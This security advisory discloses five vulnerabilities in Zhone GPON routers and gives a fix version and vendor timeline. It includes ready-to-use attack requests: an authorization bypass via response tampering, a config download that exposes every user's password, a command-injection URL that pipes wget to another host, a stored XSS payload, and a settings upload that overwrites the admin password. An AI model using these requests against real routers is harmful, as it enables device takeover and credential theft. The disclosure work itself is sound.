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Vantage Point Security Advisory 2015-002
========================================

Title: Multiple Vulnerabilities found in ZHONE
Vendor: Zhone
Vendor URL: http://www.zhone.com
Device Model: ZHONE ZNID GPON 2426A
(24xx, 24xxA, 42xx, 42xxA, 26xx, and 28xx series models)
Versions affected: < S3.0.501
Severity: Low to medium
Vendor notified: Yes
Reported: 
Public release: 
Author: Lyon Yang <lyon[at]vantagepoint[dot]sg> <lyon.yang.s[at]gmail[dot]com>

Summary:
--------

1. Insecure Direct Object Reference (CVE-2014-8356)
---------------------------------------------------

The administrative web application does not enforce authorization on the server side. User access is restricted via Javascript only, by display available functions for each particular user based on their privileges. Low privileged users of the Zhone Router can therefore gain unrestricted access to administrative functionality, e.g. by modifying the javascript responses returned by the Zhone web server. 

Affected URL: http://<Router URL>/menuBcm.js

To demonstrate the issue:

1. Set your browser proxy to Burp Suite

2. Add the following option to "Match and Replace". Match for the string 'admin' and replace with your low privilege user:

3. Login to the Zhone Administrative via your browser with Burp Proxy and you will have full administrative access via the Zhone Web Administrative Portal.


2. Admin Password Disclosure (CVE-2014-8357)
--------------------------------------------

Any low-privileged user of the ZHONE Router Web Administrative Portal can obtain all users passwords stored in the ZHONE web server. The ZHONE router uses Base64 encoding to store all users passwords for logging in to the Web Administrative portal. As these passwords are stored in the backup file, a malicious user can obtain all account passwords.

Affected URL: http://<Router URL>/

1. Browse to http://192.168.1.1/backupsettings.html:

2. "View Source" and take note of the sessionKey:

3. Browse to http://<Router
URL>/backupsettings.conf?action=getConfig&sessionKey=<Enter Session
Key Here>. and all user account passwords will be returned.


3. Remote Code Injection (CVE-2014-9118)
----------------------------------------

Remote Command Injection in ZHONE Router Web Administrative Console

Any user of the ZHONE Router can gain command injection on the router and can execute arbitrary commands on the host operating system via the vulnerable ZHONE router web administrative console.

Affected URL:

/zhnping.cmd?&test=traceroute&sessionKey=985703201&ipAddr=192.168.1.1|wget%20http://192.168.1.17/l00per_was_here&ttl=30&wait=3&queries=3

Affected Parameter:

ipAddr


4. Stored Cross-Site Scripting
---------------------------------------------------------------------------------------

The zhnsystemconfig.cgi script is vulnerable to a stored cross-site scripting attack.

Sample HTTP Request:

GET /zhnsystemconfig.cgi?snmpSysName=ZNID24xxA- Route&snmpSysContact=Zhone%20Global%20Support&snmpSysLocation=www.zhone.com %3Cscript%3Ealert(1)%3C/script%3E&sessionKey=1853320716 HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/zhnsystemconfig.html
Cookie: dm_install=no; dm_enable=no; hwaddr=54:A0:50:E4:F5:C0 
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)
Connection: keep-alive

Affected Parameters:
1. snmpSysName
2. snmpSysLocation 
3. snmpSysContact


5. Privilege Escalation via Direct Object Reference to Upload Settings Functionality
---------------------------------------------------------------------------------------

A low-privileged user can patch the router settings via the /uploadsettings.cgi page. With this functionality, the malicious attacker is able to patch the admin and support password, hence gaining full administrative access to the Zhone router.

Sample POST Request:

POST /uploadsettings.cgi HTTP/1.1
Host: 192.168.1.1
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/updatesettings.html
Cookie: dm_install=no; dm_enable=no; hwaddr=54:A0:50:E4:F5:C0
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------- 75010019812050198961998600862
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)
Content-Length: 88438

-----------------------------75010019812050198961998600862
Content-Disposition: form-data; name="filename"; filename="backupsettings.conf" Content-Type: config/conf
<?xml version="1.0"?> <DslCpeConfig version="3.2">
...
<AdminPassword>dnFmMUJyM3oB</AdminPassword>
...
--- Configuration File Contents ---
</DslCpeConfig>


Fix Information:
----------------

Upgrade to version S3.1.241


Timeline:
---------

2014/10: Issues No. (1 & 2) reported to Zhone
2014/12: Issues No. (1 & 3) reported to Zhone
2015/01: Requested Update
2015/01: Fixes Provided by Zhone, but vulnerabilities still not fixed
2015/02: Sent P.O.C Video to show how vulnerabilities work
2015/03: Fixes Provided by Zhone, but vulnerabilities still not fixed
2015/04: Requested Update
2015/04: Issues No. (4 & 5) reported to Zhone
2015/06: Requested Update
2015/08: Requested Update
2015/09: Fixes for issue 1, 4 and 5 completed by Zhone
2015/10: Confirm that all issues has been fixed


About Vantage Point Security:
--------------------

Vantage Point is the leading provider for penetration testing and security advisory services in Singapore. Clients in the Financial, Banking and Telecommunications industries select Vantage Point Security based on technical competency and a proven track record to deliver significant and measurable improvements in their security posture.

https://www.vantagepoint.sg/
office[at]vantagepoint[dot]sg